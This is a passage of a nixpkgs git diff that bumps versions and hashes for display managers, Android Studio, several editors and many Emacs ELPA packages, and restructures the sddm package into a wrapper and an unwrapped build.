"emptty"; }; } diff --git a/pkgs/applications/display-managers/lightdm-mobile-greeter/default.nix b/pkgs/applications/display-managers/lightdm-mobile-greeter/default.nix index b0d8ed5152615..87a6560f6f643 100644 --- a/pkgs/applications/display-managers/lightdm-mobile-greeter/default.nix +++ b/pkgs/applications/display-managers/lightdm-mobile-greeter/default.nix @@ -54,5 +54,6 @@ rustPlatform.buildRustPackage rec { maintainers = with maintainers; [ colinsane ]; platforms = platforms.linux; license = licenses.mit; + mainProgram = "lightdm-mobile-greeter"; }; } diff --git a/pkgs/applications/display-managers/lightdm/gtk-greeter.nix b/pkgs/applications/display-managers/lightdm/gtk-greeter.nix index 1a949c4dc0a3b..4ceeeb9f6b5d8 100644 --- a/pkgs/applications/display-managers/lightdm/gtk-greeter.nix +++ b/pkgs/applications/display-managers/lightdm/gtk-greeter.nix @@ -16,12 +16,12 @@ stdenv.mkDerivation rec { pname = "lightdm-gtk-greeter"; - version = "2.0.8"; + version = "2.0.9"; src = fetchurl { # Release tarball differs from source tarball. url = "https://github.com/Xubuntu/lightdm-gtk-greeter/releases/download/lightdm-gtk-greeter-${version}/lightdm-gtk-greeter-${version}.tar.gz"; - sha256 = "vvuzAMezT/IYZf28iBIB9zD8fFYOngHRfomelHcVBhM="; + hash = "sha256-yP3xmKqaP50NrQtI3+I8Ine3kQfo/PxillKQ8QgfZF0="; }; nativeBuildInputs = [ @@ -56,7 +56,7 @@ stdenv.mkDerivation rec { postInstall = '' substituteInPlace "$out/share/xgreeters/lightdm-gtk-greeter.desktop" \ - --replace "Exec=lightdm-gtk-greeter" "Exec=$out/bin/lightdm-gtk-greeter" + --replace-fail "Exec=lightdm-gtk-greeter" "Exec=$out/bin/lightdm-gtk-greeter" ''; passthru.xgreeters = linkFarm "lightdm-gtk-greeter-xgreeters" [{ diff --git a/pkgs/applications/display-managers/ly/default.nix b/pkgs/applications/display-managers/ly/default.nix index 8b387b36205b0..9376dc476dec2 100644 --- a/pkgs/applications/display-managers/ly/default.nix +++ b/pkgs/applications/display-managers/ly/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/fairyglade/ly"; maintainers = [ maintainers.vidister ]; platforms = platforms.linux; + mainProgram = "ly"; }; } diff --git a/pkgs/applications/display-managers/sddm/default.nix b/pkgs/applications/display-managers/sddm/default.nix index 8c7e1745bcd34..2708ff0608144 100644 --- a/pkgs/applications/display-managers/sddm/default.nix +++ b/pkgs/applications/display-managers/sddm/default.nix @@ -1,82 +1,37 @@ -{ stdenv, lib, fetchFromGitHub -, cmake, pkg-config, qttools -, libxcb, libXau, pam, qtbase, wrapQtAppsHook, qtdeclarative -, qtquickcontrols2 ? null, systemd, xkeyboardconfig +{ + lib, + callPackage, + runCommand, + qtwayland, + wrapQtAppsHook, + unwrapped ? callPackage ./unwrapped.nix {}, + withWayland ? false, + extraPackages ? [], }: -let - isQt6 = lib.versions.major qtbase.version == "6"; -in stdenv.mkDerivation { - pname = "sddm"; - version = "0.20.0-unstable-2023-12-29"; +runCommand "sddm-wrapped" { + inherit (unwrapped) version; - src = fetchFromGitHub { - owner = "sddm"; - repo = "sddm"; - rev = "501129294be1487f753482c29949fc1c19ef340e"; - hash = "sha256-mLm987Ah0X9s0tBK2a45iERwYoh5JzWb3TFlSoxi8CA="; - }; - - patches = [ - ./sddm-ignore-config-mtime.patch - ./sddm-default-session.patch - ]; - - postPatch = '' - substituteInPlace src/greeter/waylandkeyboardbackend.cpp \ - --replace "/usr/share/X11/xkb/rules/evdev.xml" "${xkeyboardconfig}/share/X11/xkb/rules/evdev.xml" - ''; - - nativeBuildInputs = [ wrapQtAppsHook cmake pkg-config qttools ]; + buildInputs = unwrapped.buildInputs ++ extraPackages ++ lib.optional withWayland qtwayland; + nativeBuildInputs = [ wrapQtAppsHook ]; - buildInputs = [ - libxcb - libXau - pam - qtbase - qtdeclarative - qtquickcontrols2 - systemd - ]; - - cmakeFlags = [ - (lib.cmakeBool "BUILD_WITH_QT6" isQt6) - "-DCONFIG_FILE=/etc/sddm.conf" - "-DCONFIG_DIR=/etc/sddm.conf.d" - - # Set UID_MIN and UID_MAX so that the build script won't try - # to read them from /etc/login.defs (fails in chroot). - # The values come from NixOS; they may not be appropriate - # for running SDDM outside NixOS, but that configuration is - # not supported anyway. - "-DUID_MIN=1000" - "-DUID_MAX=29999" + passthru = { + inherit unwrapped; + }; - # we still want to run the DM on VT 7 for the time being, as 1-6 are - # occupied by getties by default - "-DSDDM_INITIAL_VT=7" + meta = unwrapped.meta; +} '' + mkdir -p $out/bin - "-DQT_IMPORTS_DIR=${placeholder "out"}/${qtbase.qtQmlPrefix}" - "-DCMAKE_INSTALL_SYSCONFDIR=${placeholder "out"}/etc" - "-DSYSTEMD_SYSTEM_UNIT_DIR=${placeholder "out"}/lib/systemd/system" - "-DSYSTEMD_SYSUSERS_DIR=${placeholder "out"}/lib/sysusers.d" - "-DSYSTEMD_TMPFILES_DIR=${placeholder "out"}/lib/tmpfiles.d" - "-DDBUS_CONFIG_DIR=${placeholder "out"}/share/dbus-1/system.d" - ]; + cd ${unwrapped} - postInstall = '' - # remove empty scripts - rm "$out/share/sddm/scripts/Xsetup" "$out/share/sddm/scripts/Xstop" - for f in $out/share/sddm/themes/**/theme.conf ; do - substituteInPlace $f \ - --replace 'background=' "background=$(dirname $f)/" - done - ''; + for i in *; do + if [ "$i" == "bin" ]; then + continue + fi + ln -s ${unwrapped}/$i $out/$i + done - meta = with lib; { - description = "QML based X11 display manager"; - homepage = "https://github.com/sddm/sddm"; - maintainers = with maintainers; [ abbradar ttuegel ]; - platforms = platforms.linux; - license = licenses.gpl2Plus; - }; -} + for i in bin/*; do + makeQtWrapper ${unwrapped}/$i $out/$i --set SDDM_GREETER_DIR $out/bin + done +'' diff --git a/pkgs/applications/display-managers/sddm/greeter-path.patch b/pkgs/applications/display-managers/sddm/greeter-path.patch new file mode 100644 index 0000000000000..b314108952a98 --- /dev/null +++ b/pkgs/applications/display-managers/sddm/greeter-path.patch @@ -0,0 +1,14 @@ +diff --git a/src/daemon/Greeter.cpp b/src/daemon/Greeter.cpp +index 07fccde..dd22a07 100644 +--- a/src/daemon/Greeter.cpp ++++ b/src/daemon/Greeter.cpp +@@ -83,7 +83,8 @@ namespace SDDM { + QString Greeter::greeterPathForQt(int qtVersion) + { + const QString suffix = qtVersion == 5 ? QString() : QStringLiteral("-qt%1").arg(qtVersion); +- return QStringLiteral(BIN_INSTALL_DIR "/sddm-greeter%1").arg(suffix); ++ const QString greeterDir = qEnvironmentVariable("SDDM_GREETER_DIR", QStringLiteral(BIN_INSTALL_DIR)); ++ return QStringLiteral("%1/sddm-greeter%2").arg(greeterDir).arg(suffix); + } + + bool Greeter::start() { diff --git a/pkgs/applications/display-managers/sddm/unwrapped.nix b/pkgs/applications/display-managers/sddm/unwrapped.nix new file mode 100644 index 0000000000000..430e62a5ef4a4 --- /dev/null +++ b/pkgs/applications/display-managers/sddm/unwrapped.nix @@ -0,0 +1,86 @@ +{ stdenv, lib, fetchFromGitHub +, cmake, pkg-config, qttools +, libxcb, libXau, pam, qtbase, qtdeclarative +, qtquickcontrols2 ? null, systemd, xkeyboardconfig +}: +let + isQt6 = lib.versions.major qtbase.version == "6"; +in stdenv.mkDerivation(finalAttrs: { + pname = "sddm-unwrapped"; + version = "0.21.0"; + + src = fetchFromGitHub { + owner = "sddm"; + repo = "sddm"; + rev = "v${finalAttrs.version}"; + hash = "sha256-r5mnEWham2WnoEqRh5tBj/6rn5mN62ENOCmsLv2Ht+w="; + }; + + patches = [ + ./greeter-path.patch + ./sddm-ignore-config-mtime.patch + ./sddm-default-session.patch + ]; + + postPatch = '' + substituteInPlace src/greeter/waylandkeyboardbackend.cpp \ + --replace "/usr/share/X11/xkb/rules/evdev.xml" "${xkeyboardconfig}/share/X11/xkb/rules/evdev.xml" + ''; + + nativeBuildInputs = [ cmake pkg-config qttools ]; + + buildInputs = [ + libxcb + libXau + pam + qtbase + qtdeclarative + qtquickcontrols2 + systemd + ]; + + # We will wrap manually later + dontWrapQtApps = true; + + cmakeFlags = [ + (lib.cmakeBool "BUILD_WITH_QT6" isQt6) + "-DCONFIG_FILE=/etc/sddm.conf" + "-DCONFIG_DIR=/etc/sddm.conf.d" + + # Set UID_MIN and UID_MAX so that the build script won't try + # to read them from /etc/login.defs (fails in chroot). + # The values come from NixOS; they may not be appropriate + # for running SDDM outside NixOS, but that configuration is + # not supported anyway. + "-DUID_MIN=1000" + "-DUID_MAX=29999" + + # we still want to run the DM on VT 7 for the time being, as 1-6 are + # occupied by getties by default + "-DSDDM_INITIAL_VT=7" + + "-DQT_IMPORTS_DIR=${placeholder "out"}/${qtbase.qtQmlPrefix}" + "-DCMAKE_INSTALL_SYSCONFDIR=${placeholder "out"}/etc" + "-DSYSTEMD_SYSTEM_UNIT_DIR=${placeholder "out"}/lib/systemd/system" + "-DSYSTEMD_SYSUSERS_DIR=${placeholder "out"}/lib/sysusers.d" + "-DSYSTEMD_TMPFILES_DIR=${placeholder "out"}/lib/tmpfiles.d" + "-DDBUS_CONFIG_DIR=${placeholder "out"}/share/dbus-1/system.d" + ]; + + postInstall = '' + # remove empty scripts + rm "$out/share/sddm/scripts/Xsetup" "$out/share/sddm/scripts/Xstop" + for f in $out/share/sddm/themes/**/theme.conf ; do + substituteInPlace $f \ + --replace 'background=' "background=$(dirname $f)/" + done + ''; + + meta = with lib; { + description = "QML based X11 display manager"; + homepage = "https://github.com/sddm/sddm"; + maintainers = with maintainers; [ abbradar ttuegel k900 ]; + platforms = platforms.linux; + license = licenses.gpl2Plus; + }; +}) diff --git a/pkgs/applications/editors/android-studio/default.nix b/pkgs/applications/editors/android-studio/default.nix index a41817405ca03..785feeb989904 100644 --- a/pkgs/applications/editors/android-studio/default.nix +++ b/pkgs/applications/editors/android-studio/default.nix @@ -10,16 +10,16 @@ let inherit tiling_wm; }; stableVersion = { - version = "2023.1.1.28"; # "Android Studio Hedgehog | 2023.1.1 Patch 2" - sha256Hash = "sha256-E50Nu0kJNTto+/VcCbbTGjRRIESp1PAs4PGprMyhKPk="; + version = "2023.2.1.23"; # "Android Studio Iguana | 2023.2.1" + sha256Hash = "sha256-G2aPgMqBHNw1DetlaBQ9o3/VfX6QEh9VQqMZ5S/VoHM="; }; betaVersion = { - version = "2023.2.1.21"; # "Android Studio Iguana | 2023.2.1 RC 1" - sha256Hash = "sha256-TgBrgwsjJKBi4DfTMbcgmtoYfzQ3KGwn1zdEfKO9Q8k="; + version = "2023.2.1.23"; # "Android Studio Iguana | 2023.2.1" + sha256Hash = "sha256-G2aPgMqBHNw1DetlaBQ9o3/VfX6QEh9VQqMZ5S/VoHM="; }; latestVersion = { - version = "2023.3.1.8"; # "Android Studio Jellyfish | 2023.3.1 Canary 8" - sha256Hash = "sha256-wNduJ8AjLG+2gumFtLXYnzYiGN0sxL8WR2izWB87uMM="; + version = "2023.3.1.12"; # "Android Studio Jellyfish | 2023.3.1 Canary 12" + sha256Hash = "sha256-yg84WBLHfb6q+OlHuh5SJ5P4Fuc8yqO9eZ8iecOhZj4="; }; in { # Attributes are named by their corresponding release channels diff --git a/pkgs/applications/editors/codux/default.nix b/pkgs/applications/editors/codux/default.nix index c41b343665a2d..6bf950cd0ad68 100644 --- a/pkgs/applications/editors/codux/default.nix +++ b/pkgs/applications/editors/codux/default.nix @@ -5,11 +5,11 @@ let pname = "codux"; - version = "15.18.2"; + version = "15.21.0"; src = fetchurl { url = "https://github.com/wixplosives/codux-versions/releases/download/${version}/Codux-${version}.x86_64.AppImage"; - sha256 = "sha256-cOe6Yt4L3dFEFznqY3kHeHm9vhzoZBKM8MsrSyNK/aU="; + sha256 = "sha256-NUIcHPXCEuR/ZlQuVCxDthZMksx1MtoOG/9koDXW/j8="; }; appimageContents = appimageTools.extractType2 { inherit pname version src; }; diff --git a/pkgs/applications/editors/cpeditor/default.nix b/pkgs/applications/editors/cpeditor/default.nix index c7d56cf50abe1..773ef1af035e2 100644 --- a/pkgs/applications/editors/cpeditor/default.nix +++ b/pkgs/applications/editors/cpeditor/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "cpeditor"; - version = "6.11.1"; + version = "6.11.2"; src = fetchFromGitHub { owner = "cpeditor"; repo = "cpeditor"; rev = version; - sha256 = "sha256-Uwo7ZE+9yrHV/+D6rvfew2d3ZJbpFOjgek38iYkPppw="; + sha256 = "sha256-zotbXzRjIwZdYluJiz6GWUIOXl/wz1TWt+dcTwMhURo="; fetchSubmodules = true; }; diff --git a/pkgs/applications/editors/emacs/elisp-packages/elpa-devel-generated.nix b/pkgs/applications/editors/emacs/elisp-packages/elpa-devel-generated.nix index 8a8aa1119ead3..5fd72ff5a9de9 100644 --- a/pkgs/applications/editors/emacs/elisp-packages/elpa-devel-generated.nix +++ b/pkgs/applications/editors/emacs/elisp-packages/elpa-devel-generated.nix @@ -33,6 +33,25 @@ license = lib.licenses.free; }; }) {}; + activities = callPackage ({ elpaBuild + , emacs + , fetchurl + , lib + , persist }: + elpaBuild { + pname = "activities"; + ename = "activities"; + version = "0.4.0.20240201.202903"; + src = fetchurl { + url = "https://elpa.gnu.org/devel/activities-0.4.0.20240201.202903.tar"; + sha256 = "150qs08wmkgfkyqvm3a9hjvv5lpa4slxnr2canq24aavyykv6jj3"; + }; + packageRequires = [ emacs persist ]; + meta = { + homepage = "https://elpa.gnu.org/packages/activities.html"; + license = lib.licenses.free; + }; + }) {}; ada-mode = callPackage ({ elpaBuild , emacs , fetchurl @@ -72,34 +91,36 @@ }; }) {}; adaptive-wrap = callPackage ({ elpaBuild + , emacs , fetchurl , lib }: elpaBuild { pname = "adaptive-wrap"; ename = "adaptive-wrap"; - version = "0.8.0.20210602.91446"; + version = "0.8.0.20240113.95028"; src = fetchurl { - url = "https://elpa.gnu.org/devel/adaptive-wrap-0.8.0.20210602.91446.tar"; - sha256 = "1fm3bx1qyv1ridj6inzr8qyw2fzj6fzcrzf57zs2lsfkvj7b5knd"; + url = "https://elpa.gnu.org/devel/adaptive-wrap-0.8.0.20240113.95028.tar"; + sha256 = "1s31ql23mrcarwcp1z4068qsyqcddss8ybr23jpplp3y0faaqmc8"; }; - packageRequires = []; + packageRequires = [ emacs ]; meta = { homepage = "https://elpa.gnu.org/packages/adaptive-wrap.html"; license = lib.licenses.free; }; }) {}; adjust-parens = callPackage ({ elpaBuild + , emacs , fetchurl , lib }: elpaBuild { pname = "adjust-parens"; ename = "adjust-parens"; - version = "3.1.0.20221221.73810"; + version = "3.2.0.20240113.95404"; src = fetchurl { - url = "https://elpa.gnu.org/devel/adjust-parens-3.1.0.20221221.73810.tar"; - sha256 = "1p56b0pkyw6csl3wy1gi3ys2jzlm867bw3ca04ssm6l1lypirhg8"; + url = "https://elpa.gnu.org/devel/adjust-parens-3.2.0.20240113.95404.tar"; + sha256 = "1lnwpir9rnk7c8hhd8w88lk5bx01v757szi9p02hv0i5l3w494r1"; }; - packageRequires = []; + packageRequires = [ emacs ]; meta = { homepage = "https://elpa.gnu.org/packages/adjust-parens.html"; license = lib.licenses.free; @@ -163,10 +184,10 @@ elpaBuild { pname = "agitate"; ename = "agitate"; - version = "0.0.20230101.152816"; + version = "0.0.20240117.23316"; src = fetchurl { - url = "https://elpa.gnu.org/devel/agitate-0.0.20230101.152816.tar"; - sha256 = "0a8xgi19b5zc585mmr23dfif2zfbwgdhybrvk5nkc8lc2ifmnf60"; + url = "https://elpa.gnu.org/devel/agitate-0.0.20240117.23316.tar"; + sha256 = "0fa6yjakcws7rj83yyj5d8adq4jdmzp1l5ydz81yw5jyiw5zwrgi"; }; packageRequires = [ emacs ]; meta = { @@ -210,32 +231,29 @@ license = lib.licenses.free; }; }) {}; - all = callPackage ({ elpaBuild, fetchurl, lib }: + all = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "all"; ename = "all"; - version = "1.0.0.20221221.74133"; + version = "1.0.0.20240113.95556"; src = fetchurl { - url = "https://elpa.gnu.org/devel/all-1.0.0.20221221.74133.tar"; - sha256 = "0mg5fhfw8n33whx6yg969jwcxlqjgmxvfrh00mq31hzwhppjy293"; + url = "https://elpa.gnu.org/devel/all-1.0.0.20240113.95556.tar"; + sha256 = "193hiqxh3hzrm928arcbzbrmja9qn0rs3ka8zb7fra9k2rd214dn"; }; - packageRequires = []; + packageRequires = [ emacs ]; meta = { homepage = "https://elpa.gnu.org/packages/all.html"; license = lib.licenses.free; }; }) {}; - altcaps = callPackage ({ elpaBuild - , emacs - , fetchurl - , lib }: + altcaps = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "altcaps"; ename = "altcaps"; - version = "1.2.0.0.20230922.155347"; + version = "1.2.0.0.20240117.23410"; src = fetchurl { - url = "https://elpa.gnu.org/devel/altcaps-1.2.0.0.20230922.155347.tar"; - sha256 = "1m6sihzjxv2cq3bz3j5a17fhbh8q1swvkpl99w53arhsfrmhphff"; + url = "https://elpa.gnu.org/devel/altcaps-1.2.0.0.20240117.23410.tar"; + sha256 = "1jgl15jyz1xz8541yi3dfwc1k6rb6w469nsnpwmdvl36vnk9f0hq"; }; packageRequires = [ emacs ]; meta = { @@ -243,16 +261,16 @@ license = lib.licenses.free; }; }) {}; - ampc = callPackage ({ elpaBuild, fetchurl, lib }: + ampc = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "ampc"; ename = "ampc"; - version = "0.2.0.20221214.153219"; + version = "0.2.0.20240201.134117"; src = fetchurl { - url = "https://elpa.gnu.org/devel/ampc-0.2.0.20221214.153219.tar"; - sha256 = "1smb3217kz0dj495d0hy6zkin30xaba4a574d74va3hv0n5485lb"; + url = "https://elpa.gnu.org/devel/ampc-0.2.0.20240201.134117.tar"; + sha256 = "1dzqvlpp8l5kqfjymw5r6ag5hxkvy16adfgxaj96iik6wz57j482"; }; - packageRequires = []; + packageRequires = [ emacs ]; meta = { homepage = "https://elpa.gnu.org/packages/ampc.html"; license = lib.licenses.free; @@ -297,10 +315,10 @@ elpaBuild { pname = "async"; ename = "async"; - version = "1.9.7.0.20231105.171300"; + version = "1.9.8.0.20240108.152601"; src = fetchurl { - url = "https://elpa.gnu.org/devel/async-1.9.7.0.20231105.171300.tar"; - sha256 = "1f3z679jlhv8xyc1kssmcgq9alwa06r64cpclf477fs6581nda2w"; + url = "https://elpa.gnu.org/devel/async-1.9.8.0.20240108.152601.tar"; + sha256 = "01sh3szrpjc2hpmrdrkiv34whw37c9xdybvipjn9xzi5b66m613a"; }; packageRequires = [ emacs ]; meta = { @@ -312,10 +330,10 @@ elpaBuild { pname = "auctex"; ename = "auctex"; - version = "13.2.2.0.20231011.93504"; + version = "13.3.0.0.20240118.92510"; src = fetchurl { - url = "https://elpa.gnu.org/devel/auctex-13.2.2.0.20231011.93504.tar"; - sha256 = "0f13nfkzysp9l1ah74a00m2pr5fv5xx8jp82wqki5g9h60cwq5nk"; + url = "https://elpa.gnu.org/devel/auctex-13.3.0.0.20240118.92510.tar"; + sha256 = "1nnvyxcicxqwpxdj622hfgb3dwhivx3y680npby4bviaw3ap54s1"; }; packageRequires = [ emacs ]; meta = { @@ -457,10 +475,10 @@ elpaBuild { pname = "beframe"; ename = "beframe"; - version = "0.3.0.0.20231027.55708"; + version = "1.0.0.0.20240117.23842"; src = fetchurl { - url = "https://elpa.gnu.org/devel/beframe-0.3.0.0.20231027.55708.tar"; - sha256 = "0hmls2l6wy14hv3sghdha7h9gmqrany77cfiam5j2hqjhy0g6vns"; + url = "https://elpa.gnu.org/devel/beframe-1.0.0.0.20240117.23842.tar"; + sha256 = "00kg149zidzb76ibal2wsja7md9yiiw4mghybdwwf8h783vpb1qb"; }; packageRequires = [ emacs ]; meta = { @@ -468,6 +486,23 @@ license = lib.licenses.free; }; }) {}; + bicep-ts-mode = callPackage ({ elpaBuild + , fetchurl + , lib }: + elpaBuild { + pname = "bicep-ts-mode"; + ename = "bicep-ts-mode"; + version = "0.1.1.0.20240202.73552"; + src = fetchurl { + url = "https://elpa.gnu.org/devel/bicep-ts-mode-0.1.1.0.20240202.73552.tar"; + sha256 = "0hm2jz1hd8kjb9hv58lc1h8095z6fklb2mpjga6dric182jxk071"; + }; + packageRequires = []; + meta = { + homepage = "https://elpa.gnu.org/packages/bicep-ts-mode.html"; + license = lib.licenses.free; + }; + }) {}; bind-key = callPackage ({ elpaBuild , emacs , fetchurl @@ -475,10 +510,10 @@ elpaBuild { pname = "bind-key"; ename = "bind-key"; - version = "2.4.1.0.20230930.220905"; + version = "2.4.1.0.20240102.22814"; src = fetchurl { - url = "https://elpa.gnu.org/devel/bind-key-2.4.1.0.20230930.220905.tar"; - sha256 = "0mv8lmjsgklvh6g5m89qpzm3ncndf49di0fdjqg33y5vzdzfmiv2"; + url = "https://elpa.gnu.org/devel/bind-key-2.4.1.0.20240102.22814.tar"; + sha256 = "1ag9l9yi2x37931ygr619qsn6ffkx5sj76wffl2vsz3c41xjb0s8"; }; packageRequires = [ emacs ]; meta = { @@ -490,10 +525,10 @@ elpaBuild { pname = "blist"; ename = "blist"; - version = "0.2.0.20220913.173909"; + version = "0.3.0.20231213.61103"; src = fetchurl { - url = "https://elpa.gnu.org/devel/blist-0.2.0.20220913.173909.tar"; - sha256 = "0sjw36rlz714l3v8wlzk6hjsxvy082dl6wvszbxd60a6avysazip"; + url = "https://elpa.gnu.org/devel/blist-0.3.0.20231213.61103.tar"; + sha256 = "06h1k2i43pxpa2c394aqznrhf2pj8c7pgjcgs56iz2faar6zri38"; }; packageRequires = [ emacs ilist ]; meta = { @@ -582,10 +617,10 @@ elpaBuild { pname = "breadcrumb"; ename = "breadcrumb"; - version = "1.0.1.0.20231107.53204"; + version = "1.0.1.0.20231126.221621"; src = fetchurl { - url = "https://elpa.gnu.org/devel/breadcrumb-1.0.1.0.20231107.53204.tar"; - sha256 = "0ai8vw9mnlbsc6qmvapdw8mnkssxj1g3hg83acjc4vlcrdxr40vg"; + url = "https://elpa.gnu.org/devel/breadcrumb-1.0.1.0.20231126.221621.tar"; + sha256 = "0z111vmwdc3lvbnbim8233ck3vm6haq2zx9pjaiimipv36jxkzf3"; }; packageRequires = [ emacs project ]; meta = { @@ -654,10 +689,10 @@ elpaBuild { pname = "bufferlo"; ename = "bufferlo"; - version = "0.3.0.20231111.144610"; + version = "0.6.0.20240105.200601"; src = fetchurl { - url = "https://elpa.gnu.org/devel/bufferlo-0.3.0.20231111.144610.tar"; - sha256 = "02vsgmfn7z4772dgfy9laraqrslzz7nqdaibzpj5qx2k0gxrh0nb"; + url = "https://elpa.gnu.org/devel/bufferlo-0.6.0.20240105.200601.tar"; + sha256 = "1m0740ljllwyyfmjl1jlxrfgj4ndq7zh9lbyi4j2c40xliikgs09"; }; packageRequires = [ emacs ]; meta = { @@ -710,10 +745,10 @@ elpaBuild { pname = "calibre"; ename = "calibre"; - version = "1.3.3.0.20230520.233506"; + version = "1.4.0.0.20240116.165051"; src = fetchurl { - url = "https://elpa.gnu.org/devel/calibre-1.3.3.0.20230520.233506.tar"; - sha256 = "1r1vc446q1f90vzk74mdygnjfc9qrbc1fc6gwpq7kv8m56n96giw"; + url = "https://elpa.gnu.org/devel/calibre-1.4.0.0.20240116.165051.tar"; + sha256 = "1mf05z7nsf22pcvzdjb48smv97k7jff8jwkaya3444cxl5gs0zg8"; }; packageRequires = [ compat emacs ]; meta = { @@ -725,10 +760,10 @@ elpaBuild { pname = "cape"; ename = "cape"; - version = "0.17.0.20231029.100801"; + version = "1.2.0.20240130.230120"; src = fetchurl { - url = "https://elpa.gnu.org/devel/cape-0.17.0.20231029.100801.tar"; - sha256 = "14898pkxh61sxhmapb87zafl5wjz5w2na0mqpj8c36hvr5h33jnj"; + url = "https://elpa.gnu.org/devel/cape-1.2.0.20240130.230120.tar"; + sha256 = "0znx1n3fg95x14z30q0rxhb8aqxn7xy7z6w1nin126kmpvrlrgii"; }; packageRequires = [ compat emacs ]; meta = { @@ -874,10 +909,10 @@ elpaBuild { pname = "code-cells"; ename = "code-cells"; - version = "0.3.0.20231015.132845"; + version = "0.4.0.20231119.213845"; src = fetchurl { - url = "https://elpa.gnu.org/devel/code-cells-0.3.0.20231015.132845.tar"; - sha256 = "07d0y8xv5fzwmfma0xfmsm98ypvkwchscq0893d131y0q7cfx1gi"; + url = "https://elpa.gnu.org/devel/code-cells-0.4.0.20231119.213845.tar"; + sha256 = "0wrsp2xrvfp8f20gjw4r6434i4f822hz794mhnz44sn2ggs2mrn2"; }; packageRequires = [ emacs ]; meta = { @@ -927,10 +962,10 @@ elpaBuild { pname = "company"; ename = "company"; - version = "0.10.2.0.20231115.182802"; + version = "0.10.2.0.20240130.190554"; src = fetchurl { - url = "https://elpa.gnu.org/devel/company-0.10.2.0.20231115.182802.tar"; - sha256 = "0l18qi7m8anawl466xd7r3i3cjvhqprhwzclpw92x7hzgnjv73nl"; + url = "https://elpa.gnu.org/devel/company-0.10.2.0.20240130.190554.tar"; + sha256 = "0ikqr2vzdp37r0vnybx8qdhj9jmjmcqg88g9dbjrkgdm9hbgm6z2"; }; packageRequires = [ emacs ]; meta = { @@ -1003,10 +1038,10 @@ elpaBuild { pname = "compat"; ename = "compat"; - version = "29.1.4.4.0.20231113.72021"; + version = "29.1.4.4.0.20240120.151031"; src = fetchurl { - url = "https://elpa.gnu.org/devel/compat-29.1.4.4.0.20231113.72021.tar"; - sha256 = "0w6dy2356k1k0g4kbr81wv431fb9by03nc7rdgwnsyq4cs3dd46s"; + url = "https://elpa.gnu.org/devel/compat-29.1.4.4.0.20240120.151031.tar"; + sha256 = "1c26d2lalacbbgn9knadksgilx7mb6raxrkfxvgy79rf0g7z42bj"; }; packageRequires = [ emacs seq ]; meta = { @@ -1018,10 +1053,10 @@ elpaBuild { pname = "consult"; ename = "consult"; - version = "0.35.0.20231115.174657"; + version = "1.2.0.20240202.141958"; src = fetchurl { - url = "https://elpa.gnu.org/devel/consult-0.35.0.20231115.174657.tar"; - sha256 = "0j8kj3d2svqns4z2pp18rc6x9blfz0w41r73934wdjxw2fri9wbd"; + url = "https://elpa.gnu.org/devel/consult-1.2.0.20240202.141958.tar"; + sha256 = "1hki6bscy3gaid2dn629ycgqbmglw2pgllfqjyx8nrbfkprk8zfl"; }; packageRequires = [ compat emacs ]; meta = { @@ -1037,10 +1072,10 @@ elpaBuild { pname = "consult-recoll"; ename = "consult-recoll"; - version = "0.8.0.20221014.200255"; + version = "0.8.1.0.20231211.122134"; src = fetchurl { - url = "https://elpa.gnu.org/devel/consult-recoll-0.8.0.20221014.200255.tar"; - sha256 = "063l4p54bjmk9x9ajcjpb1qc1lz9w7jfcd5vz95jv17imwy0pzzg"; + url = "https://elpa.gnu.org/devel/consult-recoll-0.8.1.0.20231211.122134.tar"; + sha256 = "1agx2pv6zp61wr0hbywlr1mqhgrrlkxr48pnbia3iah82s81hqxp"; }; packageRequires = [ consult emacs ]; meta = { @@ -1070,10 +1105,10 @@ elpaBuild { pname = "corfu"; ename = "corfu"; - version = "0.38.0.20231112.81933"; + version = "1.2.0.20240122.232720"; src = fetchurl { - url = "https://elpa.gnu.org/devel/corfu-0.38.0.20231112.81933.tar"; - sha256 = "1zmd13qbdknw03l65fir3a4niq5lbacj28j5kqknka87f3lz4pd2"; + url = "https://elpa.gnu.org/devel/corfu-1.2.0.20240122.232720.tar"; + sha256 = "1gd0l41y1s2yyd97bprg3n63bi1wrhhxbrz9z8a6rlx8i68qhxx7"; }; packageRequires = [ compat emacs ]; meta = { @@ -1207,10 +1242,10 @@ elpaBuild { pname = "csv-mode"; ename = "csv-mode"; - version = "1.22.0.20230208.161318"; + version = "1.23.0.20240114.203711"; src = fetchurl { - url = "https://elpa.gnu.org/devel/csv-mode-1.22.0.20230208.161318.tar"; - sha256 = "0jzna3i4dbz4lvpnvjm7lsggk71wiq0bdcgq4h2rcs6lqsr559dp"; + url = "https://elpa.gnu.org/devel/csv-mode-1.23.0.20240114.203711.tar"; + sha256 = "0y6zbqdh5gxhfbh2hfxx9k73h5aaknc041jr84s9ims67iavb17b"; }; packageRequires = [ cl-lib emacs ]; meta = { @@ -1218,17 +1253,14 @@ license = lib.licenses.free; }; }) {}; - cursory = callPackage ({ elpaBuild - , emacs - , fetchurl - , lib }: + cursory = callPackage ({ elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "cursory"; ename = "cursory"; - version = "1.0.1.0.20230929.155749"; + version = "1.0.1.0.20240117.23936"; src = fetchurl { - url = "https://elpa.gnu.org/devel/cursory-1.0.1.0.20230929.155749.tar"; - sha256 = "04kabcxz6rjiq43jz16af6aax93jl3pbsnaanmgqn16b3n89jsal"; + url = "https://elpa.gnu.org/devel/cursory-1.0.1.0.20240117.23936.tar"; + sha256 = "0izi2gz5pgxjgw7jcpgcy9q0gf0pvcvsszhjq9mg157w8sbkfx06"; }; packageRequires = [ emacs ]; meta = { @@ -1253,6 +1285,21 @@ license = lib.licenses.free; }; }) {}; + dape = callPackage ({ elpaBuild, emacs, fetchurl, jsonrpc, lib }: + elpaBuild { + pname = "dape"; + ename = "dape"; + version = "0.5.0.0.20240202.115007"; + src = fetchurl { + url = "https://elpa.gnu.org/devel/dape-0.5.0.0.20240202.115007.tar"; + sha256 = "03kpf3p0f8900gi7p5anq48i628rh5f3is9xwd14pbc88mx82294"; + }; + packageRequires = [ emacs jsonrpc ]; + meta = { + homepage = "https://elpa.gnu.org/packages/dape.html"; + license = lib.licenses.free; + }; + }) {}; darkroom = callPackage ({ cl-lib ? null, elpaBuild, fetchurl, lib }: elpaBuild { pname = "darkroom"; @@ -1272,10 +1319,10 @@ elpaBuild { pname = "dash"; ename = "dash"; - version = 